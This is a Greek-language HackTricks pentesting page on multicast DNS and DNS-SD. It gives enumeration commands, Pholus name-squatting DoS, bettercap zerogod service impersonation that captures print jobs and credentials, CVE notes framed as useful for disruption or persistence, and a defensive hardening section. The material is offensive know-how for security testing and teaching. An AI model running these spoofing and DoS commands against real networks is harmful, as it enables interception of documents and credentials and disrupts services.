5353/UDP Multicast DNS (mDNS) and DNS-SD

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Multicast DNS (mDNS) επιτρέπει την επίλυση ονομάτων παρόμοια με DNS και την ανίχνευση υπηρεσιών εντός ενός τοπικού συνδέσμου χωρίς unicast DNS server. Χρησιμοποιεί UDP/5353 και τις multicast διευθύνσεις 224.0.0.251 (IPv4) και FF02::FB (IPv6). Το DNS Service Discovery (DNS-SD, που συνήθως χρησιμοποιείται με mDNS) παρέχει έναν τυποποιημένο τρόπο για την απαρίθμηση και περιγραφή υπηρεσιών μέσω εγγραφών PTR, SRV και TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Βασικές λεπτομέρειες πρωτοκόλλου που θα αξιοποιήσεις συχνά κατά τις επιθέσεις:

  • Τα ονόματα στη ζώνη .local επιλύονται μέσω mDNS.
  • Το bit QU (Query Unicast) μπορεί να ζητήσει unicast απαντήσεις ακόμα και για multicast ερωτήματα.
  • Οι υλοποιήσεις θα έπρεπε να αγνοούν πακέτα που δεν προέρχονται από το local link· ορισμένα stacks τα αποδέχονται ακόμα.
  • Το probing/announcing επιβάλλει μοναδικά ονόματα host/service· παρέμβαση εδώ δημιουργεί συνθήκες DoS/“name squatting”.

DNS-SD μοντέλο υπηρεσίας

Οι υπηρεσίες αναγνωρίζονται ως _._tcp ή _._udp κάτω από το .local, π.χ. _ipp._tcp.local (εκτυπωτές), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), κ.λπ. Εντόπισε τύπους με _services._dns-sd._udp.local και μετά επίλυσε τις ανακαλυφθείσες εγγραφές σε SRV/TXT/A/AAAA.

Εξερεύνηση Δικτύου και Enumeration

  • nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Συμβουλή: Ορισμένοι browsers/WebRTC χρησιμοποιούν εφήμερα mDNS hostnames για να αποκρύπτουν τοπικές IP. Αν δείτε στο δίκτυο τυχαία random-UUID.local υποψήφια, επίλυσέ τα με mDNS για να pivot σε τοπικές IP.

Επιθέσεις

Παρεμβολή στο probing ονομάτων mDNS (DoS / name squatting)

Κατά τη φάση probing, ένας host ελέγχει την μοναδικότητα του ονόματος. Απάντηση με spoofed conflicts τον αναγκάζει να επιλέξει νέα ονόματα ή να αποτύχει. Αυτό μπορεί να καθυστερήσει ή να αποτρέψει την εγγραφή και ανακάλυψη υπηρεσιών.

Παράδειγμα με Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Προσποιηθείτε τις διαφημιζόμενες υπηρεσίες DNS-SD (printers, AirPlay, HTTP, file shares) για να εξαναγκάσετε τους πελάτες να συνδεθούν σε εσάς. Αυτό είναι ιδιαίτερα χρήσιμο για:

  • Αποκτήστε έγγραφα με spoofing _ipp._tcp ή _printer._tcp.
  • Ελκύστε πελάτες σε HTTP/HTTPS υπηρεσίες για να συλλέξετε tokens/cookies ή να παραδώσετε payloads.
  • Συνδυάστε με NTLM relay techniques όταν Windows clients διαπραγματεύονται auth με spoofed services.

Με το bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Δείτε επίσης γενικά spoofing LLMNR/NBNS/mDNS/WPAD και ροές εργασίας για credential capture/relay:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Σημειώσεις για πρόσφατα ζητήματα υλοποίησης (χρήσιμες για DoS/persistence κατά τις εμπλοκές)

  • Avahi reachable-assertion και σφάλματα κατάρρευσης D-Bus (2023) μπορεί να τερματίσουν το avahi-daemon σε διανομές Linux (π.χ. CVE-2023-38469..38473, CVE-2023-1981), διαταράσσοντας την ανακάλυψη υπηρεσιών σε στόχους μέχρι την επανεκκίνηση.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) επιτρέπει σε γειτονικούς WLAN clients να κατακλύσουν με crafted mDNS, αυξάνοντας τη χρήση CPU του WLC και προκαλώντας αποκοπές AP tunnels—χρήσιμο αν χρειάζεται να αναγκάσετε client roaming ή επανεκκινήσεις controller κατά τη διάρκεια μιας εμπλοκής.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) επιτρέπει σε sandboxed τοπική διεργασία να καταρρεύσει το Bonjour και να καταστείλει προσωρινά τη δημοσίευση/αναζήτηση υπηρεσιών σε Apple endpoints· patched στις τρέχουσες iOS/macOS εκδόσεις.
  • Apple mDNSResponder correctness issue (CVE-2025-31222) επέτρεψε τοπική κλιμάκωση προνομίων μέσω mDNSResponder· χρήσιμο για persistence σε unmanaged Macs/iPhones, fixed σε πρόσφατες ενημερώσεις iOS/macOS.

Σκέψεις για Browser/WebRTC mDNS

Τα σύγχρονα Chromium/Firefox θολώνουν τα host candidates με τυχαία ονόματα mDNS. Μπορείτε να επανα-αποκαλύψετε LAN IPs σε managed endpoints σπρώχνοντας την Chrome policy WebRtcLocalIpsAllowedUrls (ή toggling chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge αντίστοιχο) ώστε το ICE να εμφανίζει host candidates αντί για mDNS· ορίζεται μέσω HKLM\Software\Policies\Google\Chrome.

Όταν οι χρήστες απενεργοποιούν την προστασία χειροκίνητα (συχνό σε οδηγούς αναζήτησης προβλημάτων WebRTC), οι browsers τους αρχίζουν ξανά να διαφημίζουν απλά host candidates, τα οποία μπορείτε να συλλάβετε μέσω mDNS ή ICE signaling για να επιταχύνετε την ανακάλυψη hosts.

Αμυντικές παρατηρήσεις και OPSEC

  • Όρια τμηματοποίησης: Μην δρομολογείτε 224.0.0.251/FF02::FB μεταξύ security zones εκτός αν απαιτείται ρητά ένας mDNS gateway. Αν πρέπει να γεφυρώσετε discovery, προτιμήστε allowlists και rate limits.
  • Windows endpoints/servers:
  • Για να απενεργοποιήσετε πλήρως την ανάλυση ονομάτων μέσω mDNS ορίστε την τιμή μητρώου και κάντε επανεκκίνηση:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Σε managed περιβάλλοντα, απενεργοποιήστε τον ενσωματωμένο κανόνα Windows Defender Firewall “mDNS (UDP-In)” (τουλάχιστον στο Domain profile) για να αποτρέψετε εισερχόμενη επεξεργασία mDNS διατηρώντας παράλληλα τη λειτουργία στο home/roaming.
  • Σε νεότερα Windows 11 builds/GPO templates, χρησιμοποιήστε την πολιτική “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” και ορίστε την σε Disabled.
  • Linux (Avahi):
  • Κλειδώστε τη δημοσίευση όταν δεν είναι απαραίτητη: ορίστε disable-publishing=yes, και περιορίστε interfaces με allow-interfaces= / deny-interfaces= στο /etc/avahi/avahi-daemon.conf.
  • Σκεφτείτε check-response-ttl=yes και αποφύγετε enable-reflector=yes εκτός αν είναι απολύτως απαραίτητο· προτιμήστε reflect-filters= allowlists όταν απαιτείται reflecting.
  • macOS: Περιορίστε εισερχόμενο mDNS σε host/network firewalls όταν το Bonjour discovery δεν χρειάζεται για συγκεκριμένα subnets.
  • Monitoring: Δημιουργήστε alerts για ασυνήθιστες αυξήσεις σε _services._dns-sd._udp.local queries ή για ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών· αυτά υποδεικνύουν spoofing ή impersonation υπηρεσιών.

Γρήγορη αναφορά εργαλείων

  • nmap NSE: dns-service-discovery και broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να κάνετε MitM στην επικοινωνία μεταξύ του client και του πραγματικού server. Μπορεί να καταφέρετε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμα και διαπιστευτήρια (Windows authentication).
Για περισσότερες πληροφορίες δείτε:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks